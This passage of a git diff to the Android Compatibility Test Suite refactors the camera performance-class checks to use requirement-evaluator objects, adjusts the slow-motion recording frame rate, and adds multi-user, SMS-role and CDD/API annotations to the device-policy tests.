timestampSourceReq = + pce.addR7_5__H_1_4(); + PerformanceClassEvaluator.CameraRawRequirement rearRawReq = + pce.addR7_5__H_1_8(); + PerformanceClassEvaluator.Camera240FpsRequirement hfrReq = + pce.addR7_5__H_1_9(); + PerformanceClassEvaluator.UltraWideZoomRatioRequirement ultrawideZoomRatioReq = + pce.addR7_5__H_1_10(); + PerformanceClassEvaluator.ConcurrentRearFrontRequirement concurrentRearFrontReq = + pce.addR7_5__H_1_11(); + PerformanceClassEvaluator.PreviewStabilizationRequirement previewStabilizationReq = + pce.addR7_5__H_1_12(); + PerformanceClassEvaluator.LogicalMultiCameraRequirement logicalMultiCameraReq = + pce.addR7_5__H_1_13(); + PerformanceClassEvaluator.StreamUseCaseRequirement streamUseCaseReq = + pce.addR7_5__H_1_14(); String primaryRearId = null; String primaryFrontId = null; @@ -2927,42 +2992,29 @@ public class ExtendedCameraCharacteristicsTest extends Camera2AndroidTestCase { List<Size> videoSizes = CameraTestUtils.getSupportedVideoSizes(cameraId, mCameraManager, null /*bound*/); + Integer timestampSource = c.get(CameraCharacteristics.SENSOR_INFO_TIMESTAMP_SOURCE); if (isPrimaryRear) { primaryRearId = cameraId; - if (sensorResolution < MIN_BACK_SENSOR_PERF_CLASS_RESOLUTION) { - mCollector.expectTrue("Primary rear camera resolution should be at least " + - MIN_BACK_SENSOR_PERF_CLASS_RESOLUTION + " pixels, is "+ - sensorResolution, !assertPerfClass); - perfClassLevelH11 = CameraTestUtils.PERFORMANCE_CLASS_NOT_MET; - } - reportLog.addValue("rear camera resolution", sensorResolution, - ResultType.NEUTRAL, ResultUnit.NONE); + primaryRearReq.setPrimaryCameraSupported(true); + primaryRearReq.setResolution(sensorResolution); + hwLevelReq.setPrimaryRearCameraHwlLevel(staticInfo.getHardwareLevelChecked()); + timestampSourceReq.setRearCameraTimestampSource(timestampSource); // 4K @ 30fps boolean supportUHD = videoSizes.contains(UHD); boolean supportDC4K = videoSizes.contains(DC4K); - reportLog.addValue("rear camera 4k support", supportUHD | supportDC4K, - ResultType.NEUTRAL, ResultUnit.NONE); - if (!supportUHD && !supportDC4K) { - mCollector.expectTrue("Primary rear camera should support 4k video recording", - !assertPerfClass); - perfClassLevelH11 = CameraTestUtils.PERFORMANCE_CLASS_NOT_MET; - } else { + boolean support4K = (supportUHD || supportDC4K); + primaryRearReq.setVideoSizeReqSatisfied(support4K); + if (support4K) { long minFrameDuration = config.getOutputMinFrameDuration( android.media.MediaRecorder.class, supportDC4K ? DC4K : UHD); - reportLog.addValue("rear camera 4k frame duration", minFrameDuration, - ResultType.NEUTRAL, ResultUnit.NONE); - if (minFrameDuration >= (1e9 / 29.9)) { - mCollector.expectTrue("Primary rear camera should support 4k video @ 30fps", - !assertPerfClass); - perfClassLevelH11 = CameraTestUtils.PERFORMANCE_CLASS_NOT_MET; - } + primaryRearReq.setVideoFps(1e9 / minFrameDuration); + } else { + primaryRearReq.setVideoFps(-1); } // H-1-9 boolean supportHighSpeed = staticInfo.isCapabilitySupported(CONSTRAINED_HIGH_SPEED); - mCollector.expectTrue("Primary rear camera should support high speed recording", - !assertTPerfClass || supportHighSpeed); boolean support240Fps = false; if (supportHighSpeed) { Size[] availableHighSpeedSizes = config.getHighSpeedVideoSizes(); @@ -2982,101 +3034,31 @@ public class ExtendedCameraCharacteristicsTest extends Camera2AndroidTestCase { break; } } - mCollector.expectTrue("Primary rear camera should support HD or FULLHD @ 240", - !assertTPerfClass || support240Fps); } - perfClassLevelH19 = updatePerfClassLevel(support240Fps, - perfClassLevelH19, CameraTestUtils.PERFORMANCE_CLASS_S); - reportLog.addValue("rear camera 720p/1080p @ 240fps support", support240Fps, - ResultType.NEUTRAL, ResultUnit.NONE); + hfrReq.setRear240FpsSupported(support240Fps); } else { primaryFrontId = cameraId; - if (sensorResolution < MIN_FRONT_SENSOR_S_PERF_CLASS_RESOLUTION) { - mCollector.expectTrue("Primary front camera resolution should be at least " - + MIN_FRONT_SENSOR_S_PERF_CLASS_RESOLUTION + " pixels, is " - + sensorResolution, !(assertSPerfClass || assertTPerfClass)); - perfClassLevelH12 = Math.min( - perfClassLevelH12, CameraTestUtils.PERFORMANCE_CLASS_R); - } - if (sensorResolution < MIN_FRONT_SENSOR_R_PERF_CLASS_RESOLUTION) { - mCollector.expectTrue("Primary front camera resolution should be at least " + - MIN_FRONT_SENSOR_S_PERF_CLASS_RESOLUTION + " pixels, is "+ - sensorResolution, !assertRPerfClass); - perfClassLevelH12 = CameraTestUtils.PERFORMANCE_CLASS_NOT_MET; - } - reportLog.addValue("front camera resolution", sensorResolution, - ResultType.NEUTRAL, ResultUnit.NONE); + primaryFrontReq.setPrimaryCameraSupported(true); + primaryFrontReq.setResolution(sensorResolution); + hwLevelReq.setPrimaryFrontCameraHwlLevel(staticInfo.getHardwareLevelChecked()); + timestampSourceReq.setFrontCameraTimestampSource(timestampSource); // 1080P @ 30fps boolean supportFULLHD = videoSizes.contains(FULLHD); - reportLog.addValue("front camera 1080p support", supportFULLHD, - ResultType.NEUTRAL, ResultUnit.NONE); - if (!supportFULLHD) { - mCollector.expectTrue( - "Primary front camera should support 1080P video recording", - !assertPerfClass); - perfClassLevelH12 = CameraTestUtils.PERFORMANCE_CLASS_NOT_MET; - } else { + primaryFrontReq.setVideoSizeReqSatisfied(supportFULLHD); + if (supportFULLHD) { long minFrameDuration = config.getOutputMinFrameDuration( android.media.MediaRecorder.class, FULLHD); - if (minFrameDuration >= (1e9 / 29.9)) { - mCollector.expectTrue( - "Primary front camera should support 1080P video @ 30fps", - !assertPerfClass); - perfClassLevelH12 = CameraTestUtils.PERFORMANCE_CLASS_NOT_MET; - } - reportLog.addValue("front camera 1080p frame duration", minFrameDuration, - ResultType.NEUTRAL, ResultUnit.NONE); + primaryFrontReq.setVideoFps(1e9 / minFrameDuration); + } else { + primaryFrontReq.setVideoFps(-1); } } - String facingString = isPrimaryRear ? "rear" : "front"; - // H-1-3 - if (assertTPerfClass || assertSPerfClass || (assertRPerfClass && isPrimaryRear)) { - mCollector.expectTrue("Primary " + facingString + - " camera should be at least FULL, but is " + - toStringHardwareLevel(staticInfo.getHardwareLevelChecked()), - staticInfo.isHardwareLevelAtLeastFull()); - } else if (assertRPerfClass) { - mCollector.expectTrue("Primary " + facingString + - " camera should be at least LIMITED, but is " + - toStringHardwareLevel(staticInfo.getHardwareLevelChecked()), - staticInfo.isHardwareLevelAtLeastLimited()); - } - - reportLog.addValue(facingString + " camera hardware level", - staticInfo.getHardwareLevelChecked(), ResultType.NEUTRAL, ResultUnit.NONE); - if (isPrimaryRear) { - perfClassLevelH13 = updatePerfClassLevel(staticInfo.isHardwareLevelAtLeastFull(), - perfClassLevelH13, CameraTestUtils.PERFORMANCE_CLASS_NOT_MET); - } else { - perfClassLevelH13 = updatePerfClassLevelRS(staticInfo.isHardwareLevelAtLeastFull(), - staticInfo.isHardwareLevelAtLeastLimited(), perfClassLevelH13); - } - - // H-1-4 - Integer timestampSource = c.get(CameraCharacteristics.SENSOR_INFO_TIMESTAMP_SOURCE); - reportLog.addValue(facingString + " timestampSource", - timestampSource, ResultType.NEUTRAL, ResultUnit.NONE); - boolean realtimeTimestamp = (timestampSource != null && - timestampSource.equals(CameraMetadata.SENSOR_INFO_TIMESTAMP_SOURCE_REALTIME)); - mCollector.expectTrue( - "Primary " + facingString + " camera should support real-time timestamp source", - !assertPerfClass || realtimeTimestamp); - perfClassLevelH14 = updatePerfClassLevel(realtimeTimestamp, perfClassLevelH14, - CameraTestUtils.PERFORMANCE_CLASS_NOT_MET); - // H-1-8 if (isPrimaryRear) { boolean supportRaw = staticInfo.isCapabilitySupported(RAW); - reportLog.addValue(facingString + " camera raw support", - supportRaw, ResultType.NEUTRAL, ResultUnit.NONE); - if (assertSPerfClass || assertTPerfClass) { - mCollector.expectTrue("Primary rear camera should support RAW capability", - supportRaw); - } - perfClassLevelH18 = updatePerfClassLevel(supportRaw, perfClassLevelH18, - CameraTestUtils.PERFORMANCE_CLASS_R); + rearRawReq.setRearRawSupported(supportRaw); } // H-1-10 @@ -3085,96 +3067,76 @@ public class ExtendedCameraCharacteristicsTest extends Camera2AndroidTestCase { Range<Float> zoomRatioRange = staticInfo.getZoomRatioRangeChecked(); boolean meetH110 = (primaryToMaxFovRatio >= 1.0f - FOV_THRESHOLD) || (zoomRatioRange.getLower() < 1.0f - FOV_THRESHOLD); - mCollector.expectTrue("Primary " + facingString + " camera must support zoomRatio < " - + "1.0f if there is an ultrawide lens with the same facing", - !assertTPerfClass || meetH110); - perfClassLevelH110 = updatePerfClassLevel(meetH110, perfClassLevelH110, - CameraTestUtils.PERFORMANCE_CLASS_S); - reportLog.addValue(facingString + " camera supports maximum FOV using zoom ratio", - meetH110, ResultType.NEUTRAL, ResultUnit.NONE); + if (isPrimaryRear) { + ultrawideZoomRatioReq.setRearUltraWideZoomRatioReqMet(meetH110); + } else { + ultrawideZoomRatioReq.setFrontUltraWideZoomRatioReqMet(meetH110); + } // H-1-12 - boolean meetH112 = staticInfo.isPreviewStabilizationSupported(); - mCollector.expectTrue("Primary " + facingString + " camera must support preview " - + "stabilization", !assertTPerfClass || meetH112); - perfClassLevelH112 = updatePerfClassLevel(meetH112, perfClassLevelH112, - CameraTestUtils.PERFORMANCE_CLASS_S); - reportLog.addValue(facingString + " camera preview stabilization", meetH112, - ResultType.NEUTRAL, ResultUnit.NONE); + boolean previewStab = staticInfo.isPreviewStabilizationSupported(); + if (isPrimaryRear) { + previewStabilizationReq.setRearPreviewStabilizationSupported(previewStab); + } else { + previewStabilizationReq.setFrontPreviewStabilizationSupported(previewStab); + } // H-1-13 int facing = staticInfo.getLensFacingChecked(); int numOfPhysicalRgbCameras = getNumberOfRgbPhysicalCameras(facing); - boolean meetH113 = (numOfPhysicalRgbCameras <= 1) || staticInfo.isLogicalMultiCamera(); - mCollector.expectTrue("Primary " + facingString + " camera must be LOGICAL_MULTI_CAMERA" - + " in case of multiple RGB cameras with same facing", - !assertTPerfClass || meetH113); - perfClassLevelH113 = updatePerfClassLevel(meetH113, perfClassLevelH113, - CameraTestUtils.PERFORMANCE_CLASS_S); - reportLog.addValue(facingString + " camera is LOGICAL_MULTI_CAMERA in case of multiple " - + "RGB cameras with same facing", meetH113, ResultType.NEUTRAL, - ResultUnit.NONE); + boolean logicalMultiCameraReqMet = + (numOfPhysicalRgbCameras <= 1) || staticInfo.isLogicalMultiCamera(); + if (isPrimaryRear) { + logicalMultiCameraReq.setRearLogicalMultiCameraReqMet(logicalMultiCameraReqMet); + } else { + logicalMultiCameraReq.setFrontLogicalMultiCameraReqMet(logicalMultiCameraReqMet); + } // H-1-14 - boolean meetH114 = staticInfo.isStreamUseCaseSupported(); - mCollector.expectTrue("Primary " + facingString + " camera must support stream " - + "use case", !assertTPerfClass || meetH114); - perfClassLevelH114 = updatePerfClassLevel(meetH114, perfClassLevelH114, - CameraTestUtils.PERFORMANCE_CLASS_S); - reportLog.addValue(facingString + " camera stream use case", meetH114, - ResultType.NEUTRAL, ResultUnit.NONE); - } - HashSet<String> primaryCameras = new HashSet<String>(); + boolean streamUseCaseSupported = staticInfo.isStreamUseCaseSupported(); + if (isPrimaryRear) { + streamUseCaseReq.setRearStreamUseCaseSupported(streamUseCaseSupported); + } else { + streamUseCaseReq.setFrontStreamUseCaseSupported(streamUseCaseSupported); + } + } + if (primaryRearId == null) { - mCollector.expectTrue("There must be a primary rear camera for performance class.", - !assertPerfClass); - perfClassLevelH11 = CameraTestUtils.PERFORMANCE_CLASS_NOT_MET; - } else { - primaryCameras.add(primaryRearId); + primaryRearReq.setPrimaryCameraSupported(false); + primaryRearReq.setResolution(-1); + primaryRearReq.setVideoSizeReqSatisfied(false); + primaryRearReq.setVideoFps(-1); + hwLevelReq.setPrimaryRearCameraHwlLevel(-1); + timestampSourceReq.setRearCameraTimestampSource( + CameraMetadata.SENSOR_INFO_TIMESTAMP_SOURCE_UNKNOWN); + rearRawReq.setRearRawSupported(false); + hfrReq.setRear240FpsSupported(false); + ultrawideZoomRatioReq.setRearUltraWideZoomRatioReqMet(false); + previewStabilizationReq.setRearPreviewStabilizationSupported(false); + logicalMultiCameraReq.setRearLogicalMultiCameraReqMet(false); + streamUseCaseReq.setRearStreamUseCaseSupported(false); } if (primaryFrontId == null) { - mCollector.expectTrue("There must be a primary front camera for performance class.", - !assertPerfClass); - perfClassLevelH12 = CameraTestUtils.PERFORMANCE_CLASS_NOT_MET; - } else { - primaryCameras.add(primaryFrontId); + primaryFrontReq.setPrimaryCameraSupported(false); + primaryFrontReq.setResolution(-1); + primaryFrontReq.setVideoSizeReqSatisfied(false); + primaryFrontReq.setVideoFps(-1); + hwLevelReq.setPrimaryFrontCameraHwlLevel(-1); + timestampSourceReq.setFrontCameraTimestampSource( + CameraMetadata.SENSOR_INFO_TIMESTAMP_SOURCE_UNKNOWN); + ultrawideZoomRatioReq.setFrontUltraWideZoomRatioReqMet(false); + previewStabilizationReq.setFrontPreviewStabilizationSupported(false); + logicalMultiCameraReq.setFrontLogicalMultiCameraReqMet(false); + streamUseCaseReq.setFrontStreamUseCaseSupported(false); } // H-1-11 Set<Set<String>> concurrentCameraIds = mCameraManager.getConcurrentCameraIds(); + Set<String> primaryCameras = new HashSet<>(Arrays.asList(primaryRearId, primaryFrontId)); boolean supportPrimaryFrontBack = concurrentCameraIds.contains(primaryCameras); - mCollector.expectTrue("Concurrent primary front and primary back streaming must be " - + "supported", !assertTPerfClass || supportPrimaryFrontBack); - perfClassLevelH111 = updatePerfClassLevel(supportPrimaryFrontBack, - perfClassLevelH111, CameraTestUtils.PERFORMANCE_CLASS_S); - reportLog.addValue("concurrent front back support", supportPrimaryFrontBack, - ResultType.NEUTRAL, ResultUnit.NONE); - - reportLog.addValue("Version", "0.0.1", ResultType.NEUTRAL, ResultUnit.NONE); - final String PERF_CLASS_REQ_NUM_PREFIX = "2.2.7.2/7.5/"; - reportLog.addValue(PERF_CLASS_REQ_NUM_PREFIX + "H-1-1", - perfClassLevelH11, ResultType.NEUTRAL, ResultUnit.NONE); - reportLog.addValue(PERF_CLASS_REQ_NUM_PREFIX + "H-1-2", - perfClassLevelH12, ResultType.NEUTRAL, ResultUnit.NONE); - reportLog.addValue(PERF_CLASS_REQ_NUM_PREFIX + "H-1-3", - perfClassLevelH13, ResultType.NEUTRAL, ResultUnit.NONE); - reportLog.addValue(PERF_CLASS_REQ_NUM_PREFIX + "H-1-4", - perfClassLevelH14, ResultType.NEUTRAL, ResultUnit.NONE); - reportLog.addValue(PERF_CLASS_REQ_NUM_PREFIX + "H-1-8", - perfClassLevelH18, ResultType.NEUTRAL, ResultUnit.NONE); - reportLog.addValue(PERF_CLASS_REQ_NUM_PREFIX + "H-1-9", - perfClassLevelH19, ResultType.NEUTRAL, ResultUnit.NONE); - reportLog.addValue(PERF_CLASS_REQ_NUM_PREFIX + "H-1-10", - perfClassLevelH110, ResultType.NEUTRAL, ResultUnit.NONE); - reportLog.addValue(PERF_CLASS_REQ_NUM_PREFIX + "H-1-11", - perfClassLevelH111, ResultType.NEUTRAL, ResultUnit.NONE); - reportLog.addValue(PERF_CLASS_REQ_NUM_PREFIX + "H-1-12", - perfClassLevelH112, ResultType.NEUTRAL, ResultUnit.NONE); - reportLog.addValue(PERF_CLASS_REQ_NUM_PREFIX + "H-1-13", - perfClassLevelH113, ResultType.NEUTRAL, ResultUnit.NONE); - reportLog.addValue(PERF_CLASS_REQ_NUM_PREFIX + "H-1-14", - perfClassLevelH114, ResultType.NEUTRAL, ResultUnit.NONE); - reportLog.submit(InstrumentationRegistry.getInstrumentation()); + concurrentRearFrontReq.setConcurrentRearFrontSupported(supportPrimaryFrontBack); + + pce.submitAndCheck(); } /** diff --git a/tests/camera/src/android/hardware/camera2/cts/RecordingTest.java b/tests/camera/src/android/hardware/camera2/cts/RecordingTest.java index 3c88a3a445c..c9c28eac4bf 100644 --- a/tests/camera/src/android/hardware/camera2/cts/RecordingTest.java +++ b/tests/camera/src/android/hardware/camera2/cts/RecordingTest.java @@ -1234,8 +1234,13 @@ public class RecordingTest extends Camera2SurfaceViewTestCase { mOutMediaFileName = mDebugFileNameBase + "/test_cslowMo_video_" + captureRate + "fps_" + id + "_" + size.toString() + ".mp4"; - Log.v(TAG, "previewFrameRate:" + previewFrameRate); - prepareRecording(size, previewFrameRate, captureRate); + + // b/239101664 It appears that video frame rates higher than 30 fps may not + // trigger slow motion recording consistently. + int videoFrameRate = previewFrameRate > VIDEO_FRAME_RATE ? + VIDEO_FRAME_RATE : previewFrameRate; + Log.v(TAG, "videoFrameRate:" + videoFrameRate); + prepareRecording(size, videoFrameRate, captureRate); SystemClock.sleep(PREVIEW_DURATION_MS); @@ -1243,7 +1248,7 @@ public class RecordingTest extends Camera2SurfaceViewTestCase { SimpleCaptureCallback resultListener = new SimpleCaptureCallback(); // Start recording - startSlowMotionRecording(/*useMediaRecorder*/true, previewFrameRate, + startSlowMotionRecording(/*useMediaRecorder*/true, videoFrameRate, captureRate, fpsRange, resultListener, /*useHighSpeedSession*/true); @@ -1256,7 +1261,7 @@ public class RecordingTest extends Camera2SurfaceViewTestCase { startConstrainedPreview(fpsRange, previewResultListener); // Convert number of frames camera produced into the duration in unit of ms. - float frameDurationMs = 1000.0f / previewFrameRate; + float frameDurationMs = 1000.0f / videoFrameRate; float durationMs = resultListener.getTotalNumFrames() * frameDurationMs; // Validation. diff --git a/tests/camera/utils/src/android/hardware/camera2/cts/CameraTestUtils.java b/tests/camera/utils/src/android/hardware/camera2/cts/CameraTestUtils.java index e8d616880e7..4a86b49e51a 100644 --- a/tests/camera/utils/src/android/hardware/camera2/cts/CameraTestUtils.java +++ b/tests/camera/utils/src/android/hardware/camera2/cts/CameraTestUtils.java @@ -142,8 +142,6 @@ public class CameraTestUtils extends Assert { public static final String OFFLINE_CAMERA_ID = "offline_camera_id"; public static final String REPORT_LOG_NAME = "CtsCameraTestCases"; - public static final String MPC_REPORT_LOG_NAME = "MediaPerformanceClassLogs"; - public static final String MPC_STREAM_NAME = "CameraCts"; private static final int EXIF_DATETIME_LENGTH = 19; private static final int EXIF_DATETIME_ERROR_MARGIN_SEC = 60; @@ -3815,33 +3813,6 @@ public class CameraTestUtils extends Assert { return zoomRatios; } - public static final int PERFORMANCE_CLASS_NOT_MET = 0; - public static final int PERFORMANCE_CLASS_R = Build.VERSION_CODES.R; - public static final int PERFORMANCE_CLASS_S = Build.VERSION_CODES.R + 1; - public static final int PERFORMANCE_CLASS_T = Build.VERSION_CODES.S + 2; - public static final int PERFORMANCE_CLASS_CURRENT = PERFORMANCE_CLASS_T; - - /** - * Check whether this mobile device is R performance class as defined in CDD - */ - public static boolean isRPerfClass() { - return Build.VERSION.MEDIA_PERFORMANCE_CLASS == PERFORMANCE_CLASS_R; - } - - /** - * Check whether this mobile device is S performance class as defined in CDD - */ - public static boolean isSPerfClass() { - return Build.VERSION.MEDIA_PERFORMANCE_CLASS == PERFORMANCE_CLASS_S; - } - - /** - * Check whether this mobile device is T performance class as defined in CDD - */ - public static boolean isTPerfClass() { - return Build.VERSION.MEDIA_PERFORMANCE_CLASS == PERFORMANCE_CLASS_T; - } - /** * Check whether a camera Id is a primary rear facing camera */ diff --git a/tests/camera/utils/src/android/hardware/camera2/cts/helpers/StaticMetadata.java b/tests/camera/utils/src/android/hardware/camera2/cts/helpers/StaticMetadata.java index fc8c4db5164..f1886859d67 100644 --- a/tests/camera/utils/src/android/hardware/camera2/cts/helpers/StaticMetadata.java +++ b/tests/camera/utils/src/android/hardware/camera2/cts/helpers/StaticMetadata.java @@ -229,6 +229,13 @@ public class StaticMetadata { * at least the desired one (but could be higher) */ public boolean isHardwareLevelAtLeast(int level) { + int deviceLevel = getHardwareLevelChecked(); + + return hardwareLevelPredicate(deviceLevel, level); + } + + // Return true if level1 is at least level2 + public static boolean hardwareLevelPredicate(int level1, int level2) { final int[] sortedHwLevels = { CameraCharacteristics.INFO_SUPPORTED_HARDWARE_LEVEL_LEGACY, CameraCharacteristics.INFO_SUPPORTED_HARDWARE_LEVEL_EXTERNAL, @@ -236,19 +243,19 @@ public class StaticMetadata { CameraCharacteristics.INFO_SUPPORTED_HARDWARE_LEVEL_FULL, CameraCharacteristics.INFO_SUPPORTED_HARDWARE_LEVEL_3 }; - int deviceLevel = getHardwareLevelChecked(); - if (level == deviceLevel) { + + if (level1 == level2) { return true; } for (int sortedlevel : sortedHwLevels) { - if (sortedlevel == level) { + if (sortedlevel == level2) { return true; - } else if (sortedlevel == deviceLevel) { + } else if (sortedlevel == level1) { return false; } } - Assert.fail("Unknown hardwareLevel " + level + " and device hardware level " + deviceLevel); + Assert.fail("Unknown hardwareLevel " + level1 + " and device hardware level " + level2); return false; } diff --git a/tests/devicepolicy/src/android/devicepolicy/cts/CloneProfileDeviceOwnerTest.java b/tests/devicepolicy/src/android/devicepolicy/cts/CloneProfileDeviceOwnerTest.java index 2c3934ccc75..bdf4bc6fde2 100644 --- a/tests/devicepolicy/src/android/devicepolicy/cts/CloneProfileDeviceOwnerTest.java +++ b/tests/devicepolicy/src/android/devicepolicy/cts/CloneProfileDeviceOwnerTest.java @@ -27,6 +27,7 @@ import android.os.UserManager; import com.android.bedstead.harrier.BedsteadJUnit4; import com.android.bedstead.harrier.DeviceState; import com.android.bedstead.harrier.annotations.EnsureHasPermission; +import com.android.bedstead.harrier.annotations.RequireMultiUserSupport; import com.android.bedstead.harrier.annotations.RequireRunOnPrimaryUser; import com.android.bedstead.harrier.annotations.enterprise.EnsureHasDeviceOwner; import com.android.bedstead.harrier.annotations.enterprise.EnsureHasNoDeviceOwner; @@ -52,6 +53,7 @@ public class CloneProfileDeviceOwnerTest { @EnsureHasDeviceOwner @EnsureHasPermission(MANAGE_PROFILE_AND_DEVICE_OWNERS) @RequireRunOnPrimaryUser + @RequireMultiUserSupport public void createCloneProfile_hasDeviceOwner_fails() { assertThrows(NeneException.class, () -> TestApis.users().createUser() @@ -67,6 +69,7 @@ public class CloneProfileDeviceOwnerTest { @EnsureHasNoDeviceOwner @EnsureHasPermission(MANAGE_PROFILE_AND_DEVICE_OWNERS) @RequireRunOnPrimaryUser + @RequireMultiUserSupport public void createCloneProfile_noDeviceOwner_succeeds() { UserReference cloneUser = TestApis.users().createUser() .parent(TestApis.users().instrumented()) diff --git a/tests/devicepolicy/src/android/devicepolicy/cts/DefaultSmsApplicationTest.java b/tests/devicepolicy/src/android/devicepolicy/cts/DefaultSmsApplicationTest.java index 2688d11b415..9c2714c97d9 100644 --- a/tests/devicepolicy/src/android/devicepolicy/cts/DefaultSmsApplicationTest.java +++ b/tests/devicepolicy/src/android/devicepolicy/cts/DefaultSmsApplicationTest.java @@ -23,6 +23,7 @@ import static org.junit.Assume.assumeTrue; import static org.testng.Assert.assertThrows; import android.app.admin.RemoteDevicePolicyManager; +import android.app.role.RoleManager; import android.content.ComponentName; import android.content.Context; import android.provider.Telephony; @@ -65,6 +66,7 @@ public final class DefaultSmsApplicationTest { private ComponentName mAdmin; private RemoteDevicePolicyManager mDpm; private TelephonyManager mTelephonyManager; + private RoleManager mRoleManager; @Before public void setUp() { @@ -72,13 +74,15 @@ public final class DefaultSmsApplicationTest { mAdmin = dpc.componentName(); mDpm = dpc.devicePolicyManager(); mTelephonyManager = sContext.getSystemService(TelephonyManager.class); + mRoleManager = sContext.getSystemService(RoleManager.class); } // TODO(b/198588696): Add support is @RequireSmsCapable and @RequireNotSmsCapable @Postsubmit(reason = "new test") @PolicyAppliesTest(policy = DefaultSmsApplication.class) public void setDefaultSmsApplication_works() { - assumeTrue(mTelephonyManager.isSmsCapable()); + assumeTrue(mTelephonyManager.isSmsCapable() + || (mRoleManager != null && mRoleManager.isRoleAvailable(RoleManager.ROLE_SMS))); String previousSmsAppName = getDefaultSmsPackage(); try (TestAppInstance smsApp = sSmsApp.install()) { mDpm.setDefaultSmsApplication(mAdmin, smsApp.packageName()); @@ -93,7 +97,8 @@ public final class DefaultSmsApplicationTest { @Postsubmit(reason = "new test") @PolicyDoesNotApplyTest(policy = DefaultSmsApplication.class) public void setDefaultSmsApplication_unchanged() { - assumeTrue(mTelephonyManager.isSmsCapable()); + assumeTrue(mTelephonyManager.isSmsCapable() + || (mRoleManager != null && mRoleManager.isRoleAvailable(RoleManager.ROLE_SMS))); String previousSmsAppName = getDefaultSmsPackage(); try (TestAppInstance smsApp = sSmsApp.install()) { mDpm.setDefaultSmsApplication(mAdmin, smsApp.packageName()); @@ -108,7 +113,8 @@ public final class DefaultSmsApplicationTest { @Postsubmit(reason = "new test") @CanSetPolicyTest(policy = DefaultSmsApplication.class) public void setDefaultSmsApplication_smsPackageDoesNotExist_unchanged() { - assumeTrue(mTelephonyManager.isSmsCapable()); + assumeTrue(mTelephonyManager.isSmsCapable() + || (mRoleManager != null && mRoleManager.isRoleAvailable(RoleManager.ROLE_SMS))); String previousSmsAppName = getDefaultSmsPackage(); mDpm.setDefaultSmsApplication(mAdmin, FAKE_SMS_APP_NAME); @@ -135,7 +141,8 @@ public final class DefaultSmsApplicationTest { @Postsubmit(reason = "new test") @CanSetPolicyTest(policy = DefaultSmsApplication.class) public void setDefaultSmsApplication_notSmsCapable_unchanged() { - assumeTrue(!mTelephonyManager.isSmsCapable()); + assumeTrue(!mTelephonyManager.isSmsCapable() + && (mRoleManager == null || !mRoleManager.isRoleAvailable(RoleManager.ROLE_SMS))); String previousSmsAppName = getDefaultSmsPackage(); try (TestAppInstance smsApp = sSmsApp.install()) { mDpm.setDefaultSmsApplication(mAdmin, smsApp.packageName()); diff --git a/tests/devicepolicy/src/android/devicepolicy/cts/DevicePolicyManagementRoleHolderTest.java b/tests/devicepolicy/src/android/devicepolicy/cts/DevicePolicyManagementRoleHolderTest.java index 286ccae00a8..1c35d480d81 100644 --- a/tests/devicepolicy/src/android/devicepolicy/cts/DevicePolicyManagementRoleHolderTest.java +++ b/tests/devicepolicy/src/android/devicepolicy/cts/DevicePolicyManagementRoleHolderTest.java @@ -54,6 +54,7 @@ import com.android.bedstead.harrier.annotations.EnsureHasNoWorkProfile; import com.android.bedstead.harrier.annotations.EnsureHasPermission; import com.android.bedstead.harrier.annotations.Postsubmit; import com.android.bedstead.harrier.annotations.RequireFeature; +import com.android.bedstead.harrier.annotations.RequireMultiUserSupport; import com.android.bedstead.harrier.annotations.RequireRunOnPrimaryUser; import com.android.bedstead.harrier.annotations.enterprise.EnsureHasDeviceOwner; import com.android.bedstead.harrier.annotations.enterprise.EnsureHasNoDpc; @@ -65,6 +66,7 @@ import com.android.bedstead.nene.utils.Poll; import com.android.bedstead.remotedpc.RemoteDpc; import com.android.bedstead.testapp.TestApp; import com.android.bedstead.testapp.TestAppInstance; +import com.android.compatibility.common.util.CddTest; import com.android.eventlib.truth.EventLogsSubject; import com.android.queryable.queries.ActivityQuery; @@ -140,6 +142,7 @@ public class DevicePolicyManagementRoleHolderTest { @EnsureHasNoDpc @EnsureHasNoSecondaryUser @Test + @CddTest(requirements = {"3.9.4/C-3-1"}) public void createAndProvisionManagedProfile_roleHolderIsInWorkProfile() throws ProvisioningException, InterruptedException { UserHandle profile = null; @@ -172,7 +175,9 @@ public class DevicePolicyManagementRoleHolderTest { @EnsureHasDeviceOwner @RequireRunOnPrimaryUser @EnsureHasNoSecondaryUser + @RequireMultiUserSupport @Test + @CddTest(requirements = {"3.9.4/C-3-1"}) public void createAndManageUser_roleHolderIsInManagedUser() throws InterruptedException { UserHandle managedUser = null; String roleHolderPackageName = null; @@ -313,6 +318,7 @@ public class DevicePolicyManagementRoleHolderTest { @EnsureHasNoWorkProfile @RequireRunOnPrimaryUser @EnsureHasNoDpc + @RequireMultiUserSupport public void shouldAllowBypassingDevicePolicyManagementRoleQualification_withUsers_returnsFalse() throws Exception { resetInternalShouldAllowBypassingState(); diff --git a/tests/devicepolicy/src/android/devicepolicy/cts/DevicePolicyManagerTest.java b/tests/devicepolicy/src/android/devicepolicy/cts/DevicePolicyManagerTest.java index 11b5fd40842..ae9ced5fd3a 100644 --- a/tests/devicepolicy/src/android/devicepolicy/cts/DevicePolicyManagerTest.java +++ b/tests/devicepolicy/src/android/devicepolicy/cts/DevicePolicyManagerTest.java @@ -54,7 +54,6 @@ import static org.junit.Assert.assertThrows; import android.accounts.Account; import android.accounts.AccountManager; -import android.annotation.RequiresFeature; import android.app.AppOpsManager; import android.app.admin.DevicePolicyManager; import android.app.admin.FullyManagedDeviceProvisioningParams; @@ -106,6 +105,7 @@ import com.android.bedstead.nene.users.UserReference; import com.android.bedstead.nene.users.UserType; import com.android.bedstead.remotedpc.RemoteDpc; import com.android.bedstead.testapp.TestAppInstance; +import com.android.compatibility.common.util.ApiTest; import com.android.compatibility.common.util.SystemUtil; import com.android.eventlib.events.broadcastreceivers.BroadcastReceivedEvent; @@ -1354,7 +1354,8 @@ public final class DevicePolicyManagerTest { @RequireRunOnSecondaryUser @EnsureHasNoProfileOwner @RequireNotHeadlessSystemUserMode - @RequiresFeature(FEATURE_DEVICE_ADMIN) + @RequireFeature(FEATURE_DEVICE_ADMIN) + @ApiTest(apis = "android.app.admin.DevicePolicyManager#checkProvisioningPrecondition") public void checkProvisioningPreCondition_actionDO_onNonSystemUser_returnsNotSystemUser() { boolean setupComplete = TestApis.users().current().getSetupComplete(); TestApis.users().current().setSetupComplete(false); @@ -1375,6 +1376,8 @@ public final class DevicePolicyManagerTest { @Postsubmit(reason = "New test") @Test @EnsureDoesNotHavePermission(MANAGE_PROFILE_AND_DEVICE_OWNERS) + @RequireFeature(FEATURE_DEVICE_ADMIN) + @ApiTest(apis = "android.app.admin.DevicePolicyManager#setUserProvisioningState") public void setUserProvisioningState_withoutRequiredPermission_throwsSecurityException() { 